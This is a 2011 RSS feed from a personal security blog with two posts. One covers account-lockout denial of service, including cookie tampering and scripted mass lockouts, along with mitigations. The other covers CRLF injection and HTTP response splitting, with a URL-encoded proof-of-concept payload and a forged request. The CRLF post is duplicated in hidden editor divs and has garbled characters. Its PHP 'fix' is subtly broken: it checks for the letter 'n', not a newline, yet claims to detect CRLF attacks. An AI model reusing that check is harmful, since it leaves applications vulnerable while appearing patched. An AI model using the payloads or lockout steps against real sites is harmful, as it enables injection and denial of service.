<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SHAHEE MIRZA</title>
	<atom:link href="http://www.shaheemirza.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.shaheemirza.com</link>
	<description>Sooner or later you have to wake up.</description>
	<lastBuildDate>Fri, 05 Aug 2011 22:34:15 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Account lockout: Security or Vulnerability</title>
		<link>http://www.shaheemirza.com/2011/07/15/account-lockout-security-or-vulnerability/</link>
		<comments>http://www.shaheemirza.com/2011/07/15/account-lockout-security-or-vulnerability/#comments</comments>
		<pubDate>Thu, 14 Jul 2011 21:05:22 +0000</pubDate>
		<dc:creator>Shahee Mirza</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[Lockout]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.shaheemirza.com/?p=122</guid>
		<description><![CDATA[ShareIntroduction: First of all, &#8220;Account Lockout&#8221; is a security mechanism. It is also a subroutine. This mechanism uses on web application to Electronic gate-pass. Account lockout is a good way to reduce risk. If a person makes an attempt with a bad password, after a certain number of bad attempts the account will get locked [...]]]></description>
			<content:encoded><![CDATA[<a name="fb_share" type="button_count" share_url="http://www.shaheemirza.com/2011/07/15/account-lockout-security-or-vulnerability/">Share</a><p><strong>Introduction:</strong></p>
<p>First of all, &#8220;Account Lockout&#8221; is a security mechanism. It is also a subroutine. This mechanism uses on web application to Electronic gate-pass.</p>
<p>Account lockout is a good way to reduce risk. If a person makes an attempt with a bad password, after a certain number of bad attempts the account will get locked out. Many systems can unlock the account out after a certain amount of time.</p>
<p><strong>Attack:</strong></p>
<p>The account lockout attack is an attack on the client, not the server. It causes the victim&#8217;s account to be locked and unable to access it for a period of time causing disruption and if used at the right time can prove very effective. In an account lockout attack, the attacker attempts to lockout all user accounts, typically by failing login more times than the threshold defined by the authentication system. For example, if users are locked out of their accounts after three failed login attempts, an attacker can lock out their account for them simply by failing login three times. This attack can result in a large scale denial of service attack if all user accounts are locked out, especially if the amount of work required to reset the accounts is significant.</p>
<p><strong>Who is the Target?</strong></p>
<p>Sites that operate an account lockout feature depending on incorrect logins in a certain period of time are vulnerable. Note this only works when the system locks the username not the attempting IP address. As otherwise all you are doing is blocking your self out. Sites employ this lockout feature to prevent bruteforce attacks on passwords, an even more severe attack.</p>
<p><strong>Methods of Attack:</strong></p>
<ul>
<li>API Abuse</li>
<li>Flooding</li>
<li>Brute Force</li>
</ul>
<p><strong>Ways of Attack:</strong></p>
<ul>
<li>First one, Hacker will submit wrong password to system according to targeted username until that account get locked.</li>
<li>Second one, by editing the cookie, hacker will attempt one login, then find the cookie &#8220;logins_incorrect=1&#8243; or similar, and change the value to 999, or any number above the limit. This data will then be sent back to the server and stored in the database so the user will be locked out everywhere.</li>
<li>Third one, hacker could write a script to simultaneously lockout every username in the database, of course here he will need a username list but most forums and CMS&#8217;s have the memberlist ready to copy. This is most disruptive when performed at the company’s busiest times such as New-Year.</li>
</ul>
<p><strong>Procedure of a successful attack:</strong></p>
<p><em># First Phase:</em></p>
<ul>
<li>Analyze system documentation to find list of events that could potentially cause account lockout</li>
<li>Obtain user account in system and attempt to lock it out by sending malformed or incorrect data repeatedly</li>
<li>Determine another user&#8217;s login ID, and attempt to brute force the password (or other credentials) for it a predetermined number of times or until the system provides an indication that the account is locked out.</li>
</ul>
<p><em>#Second Phase:</em></p>
<ul>
<li>Obtain list of authorized users using another attack pattern, such as SQL Injection.</li>
<li>Attempt to create accounts if possible; system should indicate if a user ID is already taken.</li>
<li>Attempt to brute force user IDs if system reveals whether a given user ID is valid or not upon failed login attempts.</li>
</ul>
<p><em>#Third Phase:</em></p>
<ul>
<li>For each user ID to be locked out, perform the lockout procedure discovered in the first step.</li>
</ul>
<p><strong>Solutions:</strong></p>
<ul>
<li>Do not provide any indication to users that their accounts are locked out. Provide a simple error message such as: &#8220;Login failed. Try again or contact your administrator&#8221; regardless of why a login attempt fails.</li>
<li>Avoid providing any indication regarding the validity of user IDs upon failed login attempts. Provide a simple error message such as: &#8220;Login failed. Try again or contact your administrator&#8221; regardless of why a login attempt fails.</li>
<li>Build authentication mechanism, which will block account after N tries for a given IP address, from which log in attempt was conducted.</li>
<li>To minimize possibility of blocking owner`s account we may take under consideration other characteristics like User-Agent or X_FORWARDED_FOR (if it&#8217;s present).</li>
<li>Moreover after N login attempts, but before blocking the account, you may include additional verification by comparing data entered by the user and data displayed to him/her on the picture (CAPTCHA).</li>
</ul>
<p><strong>Conclusion:</strong></p>
<ul>
<li>Needed Hacking skill or knowledge:         Low</li>
<li>Risk of successful attack:                              High</li>
<li>Result of attack:                                               Denial of Service</li>
</ul>
<p><iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.shaheemirza.com%2F2011%2F07%2F15%2Faccount-lockout-security-or-vulnerability%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px;margin-top:5px;"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://www.shaheemirza.com/2011/07/15/account-lockout-security-or-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CRLF or  HTTPRS: Carriage Return and Line Feed/ HTTP Response Splitting.</title>
		<link>http://www.shaheemirza.com/2011/02/06/crlf-or-httprs-carriage-return-and-line-feed-http-response-splitting/</link>
		<comments>http://www.shaheemirza.com/2011/02/06/crlf-or-httprs-carriage-return-and-line-feed-http-response-splitting/#comments</comments>
		<pubDate>Sat, 05 Feb 2011 18:23:21 +0000</pubDate>
		<dc:creator>Shahee Mirza</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[Carriage Return and Line Feed]]></category>
		<category><![CDATA[CRLF]]></category>
		<category><![CDATA[HTTP Response Splitting]]></category>
		<category><![CDATA[HTTPRS]]></category>

		<guid isPermaLink="false">http://www.shaheemirza.com/?p=104</guid>
		<description><![CDATA[##Introduction: After a long time, I am writing about a new thing, new thing cause Iâ€™ve learned it last night. Visited couple of sites from last night, and wondering that how I was in dark about â€œCarriage Return and Line Feedâ€. ##Description: CRLF injection attacks are not as well known as some other attacks, but [...]]]></description>
			<content:encoded><![CDATA[<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">##Introduction:</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">After a long time, I am writing about a new thing, new thing cause Iâ€™ve learned it last night. Visited couple of sites from last night, and wondering that how I was in dark about â€œCarriage Return and Line Feedâ€.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">##Description:</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">CRLF injection attacks are not as well known as some other attacks, but when used against vulnerable applications, CRLF injections can be just as effective and devastating .It is fairly simple, yet extremely powerful web attack. Â Hackers are actively exploiting this web application vulnerability to perform a large variety of attacks that include XSS cross-site scripting, cross-user defacement, positioning of client&#8217;s web-cache, hijacking of web pages, defacement and a myriad of other related attacks. Â A number of years ago a number of CRLF injection vulnerabilities were also discovered in Googleâ€™s Adwords web interface.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Link: Â www.hackingspirits.com/vuln-rnd/adwords-crlf-injection.pdf</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">CRLF Â is a very significant sequence of characters for programmers. These two special characters represent the End Of Line (EOL) marker for many Internet protocols, including, but not limited to MIME (e-mail), NNTP (newsgroups) and more importantly HTTP. Â When programmers write code for web applications they split headers based on where the CRLF is found. If a malicious user is able to inject his own CRLF sequence into an HTTP stream, he is able to maliciously control the way a web application functions.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">The essence of HTTP Response splitting is the attacker&#8217;s ability to send a single HTTP request that forces the web server to form an output stream, which is then interpreted by the target as two HTTP responses instead of one response, in the normal case. The first response may be partially controlled by the attacker, but this is less important. What is material is that the attacker completely controls the form of the second response from the HTTP status line to the last byte of the HTTP response body. Once this is possible, the attacker realizes the attack by sending two requests through the target. The first one invokes two responses from the web server, and the second request would typically be to some &#8220;innocent&#8221; resource on the web server. However, the second request would be matched, by the target, to the second HTTP response, which is fully controlled by the attacker. The attacker, therefore, tricks the target into believing that a particular resource on the web server (designated by the second request) is the server&#8217;s HTTP response (server content), while it is in fact some data, which is forged by the attacker through the web server &#8211; this is the second response.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">HTTP Response Splitting attacks take place where the server script embeds user data in HTTP response headers. This typically happens when the script embeds user data in the redirection URL of a redirection response (HTTP status code 3xx), or when the script embeds user data in a cookie value or name when the response sets a cookie.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">In the first case, the redirection URL is part of the Location HTTP response header, and in the second cookie setting case, the cookie name/value is part of the Set-Cookie HTTP response header.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">The essence of the attack is injecting CRs and LFs in such manner that a second HTTP message is formed where a single one was planned for by the application. CRLF injection is a method used for several other attacks which change the data of the single HTTP response send by the application, but in this case, the role of the CRLFs is slightly different &#8211; it is meant to terminate the first (planned) HTTP response message, and form another (totally crafted by the attacked, and totally unplanned by the application) HTTP response message (hence the name of the attack). This injection is possible if the application (that runs on top of the web server) embeds un-validated user data in a redirection, cookie setting, or any other manner that eventually causes user data to become part of the HTTP response headers.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">With HTTP Response Splitting, it is possible to mount various kinds of attacks:</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">#Cross-User Defacement</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">An attacker can make a single request to a vulnerable server that will cause the sever to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the sever. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">In the best case, an attacker can leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">#Cache Poisoning</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although the user of the local browser instance will be affected.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">#Cross-Site Scripting</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user&#8217;s browser.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user&#8217;s machine under the guise of the vulnerable site.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim&#8217;s account.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">#Page Hijacking</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker can cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker&#8217;s request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker&#8217;s request is already waiting and is interpreted as a response to the victim&#8217;s request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">##Proof-Of-Concept:</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Header Injection:</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Vulnerable document is â€œrdt.phpâ€</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Injected Header Data:</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">[TEXT]</pre>
</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">%0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont color=red%3Ehey%3C/font%3E%3C/html%3E</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">[/TEXT]</p>
</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">If the user follows the link, the HTTP request will look like:</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">[TEXT]</pre>
</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">GET /rdt.php?page=%0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont color=red%3Ehey%3C/font%3E%3C/html%3E HTTP/1.1\r\n</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Host: abc.org\r\n</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2\r\n</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Accept: text/xml,application/xml,application/xhtml xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Accept-Language: en-us,en;q=0.5\r\n</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Accept-Encoding: gzip,deflate\r\n</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Keep-Alive: 300\r\n</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Connection: keep-alive\r\n</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">\r\n</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">[/TEXT]</p>
</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">##Fix:</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">The CRLF vulnerability is extremely easy to patch. The following code example assumes the input is set to â€œ$_POST['input']â€</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">[PHP]</pre>
</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">if (eregi('n', $_POST['input'])) //This checks for the new line character in the POST variable</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">{ //start if..</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">die("CRLF Attack Detected"); //exit program if CRLF is found in the variable</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">} //end if..</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">[/PHP]</p>
</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">##Conclusion:</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">â€œCarriage Return and Line Feedâ€ will be famous Attack Method for next generation. Because it not well-known to people. Everybody keeps eyes on SQLi or on XSS. But in upcoming times, it will hard to find a SQLi/XSS vulnerable site or Web-app.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">## References:</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">**Web Sites</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">**Books</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">**Blogs</div>
<p style="text-align: justify; "><strong>##Introduction:</strong></p>
<p style="text-align: justify; ">After a long time, I am writing about a new thing, new thing cause Iâ€™ve learned it last night. Visited couple of sites from last night, and wondering that how I was in dark about â€œCarriage Return and Line Feedâ€.</p>
<p style="text-align: justify; "><strong>##Description:</strong></p>
<p style="text-align: justify; ">CRLF injection attacks are not as well known as some other attacks, but when used against vulnerable applications, CRLF injections can be just as effective and devastating .It is fairly simple, yet extremely powerful web attack. Â Hackers are actively exploiting this web application vulnerability to perform a large variety of attacks that include XSS cross-site scripting, cross-user defacement, positioning of client's web-cache, hijacking of web pages, defacement and a myriad of other related attacks. Â A number of years ago a number of CRLF injection vulnerabilities were also discovered in Googleâ€™s Adwords web interface.</p>
<p style="text-align: justify; ">Link: Â <a href="www.hackingspirits.com/vuln-rnd/adwords-crlf-injection.pdf" target="_blank">www.hackingspirits.com/vuln-rnd/adwords-crlf-injection.pdf</a></p>
<blockquote style="text-align: justify; "><p>CRLF Â is a very significant sequence of characters for programmers. These two special characters represent the End Of Line (EOL) marker for many Internet protocols, including, but not limited to MIME (e-mail), NNTP (newsgroups) and more importantly HTTP. Â When programmers write code for web applications they split headers based on where the CRLF is found. If a malicious user is able to inject his own CRLF sequence into an HTTP stream, he is able to maliciously control the way a web application functions.</p>
</blockquote>
<p style="text-align: justify; ">The essence of HTTP Response splitting is the attacker's ability to send a single HTTP request that forces the web server to form an output stream, which is then interpreted by the target as two HTTP responses instead of one response, in the normal case. The first response may be partially controlled by the attacker, but this is less important. What is material is that the attacker completely controls the form of the second response from the HTTP status line to the last byte of the HTTP response body. Once this is possible, the attacker realizes the attack by sending two requests through the target. The first one invokes two responses from the web server, and the second request would typically be to some "innocent" resource on the web server. However, the second request would be matched, by the target, to the second HTTP response, which is fully controlled by the attacker. The attacker, therefore, tricks the target into believing that a particular resource on the web server (designated by the second request) is the server's HTTP response (server content), while it is in fact some data, which is forged by the attacker through the web server - this is the second response.</p>
<p style="text-align: justify; ">HTTP Response Splitting attacks take place where the server script embeds user data in HTTP response headers. This typically happens when the script embeds user data in the redirection URL of a redirection response (HTTP status code 3xx), or when the script embeds user data in a cookie value or name when the response sets a cookie.</p>
<p style="text-align: justify; ">In the first case, the redirection URL is part of the Location HTTP response header, and in the second cookie setting case, the cookie name/value is part of the Set-Cookie HTTP response header.</p>
<p style="text-align: justify; ">The essence of the attack is injecting CRs and LFs in such manner that a second HTTP message is formed where a single one was planned for by the application. CRLF injection is a method used for several other attacks which change the data of the single HTTP response send by the application, but in this case, the role of the CRLFs is slightly different - it is meant to terminate the first (planned) HTTP response message, and form another (totally crafted by the attacked, and totally unplanned by the application) HTTP response message (hence the name of the attack). This injection is possible if the application (that runs on top of the web server) embeds un-validated user data in a redirection, cookie setting, or any other manner that eventually causes user data to become part of the HTTP response headers.</p>
<p style="text-align: justify; ">With HTTP Response Splitting, it is possible to mount various kinds of attacks:</p>
<p style="text-align: justify; "><strong>#Cross-User Defacement</strong></p>
<p style="text-align: justify; ">An attacker can make a single request to a vulnerable server that will cause the sever to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the sever. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server.</p>
<p style="text-align: justify; ">In the best case, an attacker can leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application.</p>
<p style="text-align: justify; ">In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.</p>
<p style="text-align: justify; "><strong>#Cache Poisoning</strong></p>
<p style="text-align: justify; ">The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although the user of the local browser instance will be affected.</p>
<p style="text-align: justify; "><strong>#Cross-Site Scripting</strong></p>
<p style="text-align: justify; ">Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser.</p>
<p style="text-align: justify; ">The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.</p>
<p style="text-align: justify; ">The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.</p>
<p style="text-align: justify; "><strong>#Page Hijacking</strong></p>
<p style="text-align: justify; ">In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker can cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker.</p>
<p style="text-align: justify; ">Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.</p>
<p style="text-align: justify; "><strong>##Proof-Of-Concept:</strong></p>
<p style="text-align: justify; "><em>Header Injection:</em></p>
<p style="text-align: justify; ">Vulnerable document is â€œrdt.phpâ€</p>
<p style="text-align: justify; "><em>Injected Header Data:</em></p>
<p style="text-align: justify; ">
<p>
<pre class="brush: plain; title: ; notranslate">&lt;/p&gt;
&lt;p&gt;%0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont color=red%3Ehey%3C/font%3E%3C/html%3E&lt;/p&gt;
&lt;p&gt;</pre>
</p>
<p>If the user follows the link, the HTTP request will look like:</p>
<p>
<pre class="brush: plain; title: ; notranslate">&lt;/p&gt;
&lt;p&gt;GET /rdt.php?page=%0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont color=red%3Ehey%3C/font%3E%3C/html%3E HTTP/1.1\r\n&lt;/p&gt;
&lt;p&gt;Host: abc.org\r\n&lt;/p&gt;
&lt;p&gt;User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2\r\n&lt;/p&gt;
&lt;p&gt;Accept: text/xml,application/xml,application/xhtml xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n&lt;/p&gt;
&lt;p&gt;Accept-Language: en-us,en;q=0.5\r\n&lt;/p&gt;
&lt;p&gt;Accept-Encoding: gzip,deflate\r\n&lt;/p&gt;
&lt;p&gt;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n&lt;/p&gt;
&lt;p&gt;Keep-Alive: 300\r\n&lt;/p&gt;
&lt;p&gt;Connection: keep-alive\r\n&lt;/p&gt;
&lt;p&gt;\r\n&lt;/p&gt;
&lt;p&gt;</pre>
</p>
<p><strong>##Fix:</strong></p>
<p>The CRLF vulnerability is extremely easy to patch. The following code example assumes the input is set to â€œ$_POST['input']â€</p>
<p>
<pre class="brush: php; title: ; notranslate">&lt;/p&gt;
&lt;p&gt;if (eregi('n', $_POST['input'])) //This checks for the new line character in the POST variable&lt;/p&gt;
&lt;p&gt;{ //start if..&lt;/p&gt;
&lt;p&gt;die(&amp;quot;CRLF Attack Detected&amp;quot;); //exit program if CRLF is found in the variable&lt;/p&gt;
&lt;p&gt;} //end if..&lt;/p&gt;
&lt;p&gt;</pre>
</p>
<p><strong>##Conclusion:</strong></p>
<p>â€œCarriage Return and Line Feedâ€ will be famous Attack Method for next generation. Because it not well-known to people. Everybody keeps eyes on SQLi or on XSS. But in upcoming times, it will hard to find a SQLi/XSS vulnerable site or Web-app.</p>
<p><strong>## References:</strong></p>
<p>**Web Sites</p>
<p>**Books</p>
<p>**Blogs</p>
<p><iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.shaheemirza.com%2F2011%2F02%2F06%2Fcrlf-or-httprs-carriage-return-and-line-feed-http-response-splitting%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px;margin-top:5px;"></iframe></p>
]]></content:encoded>
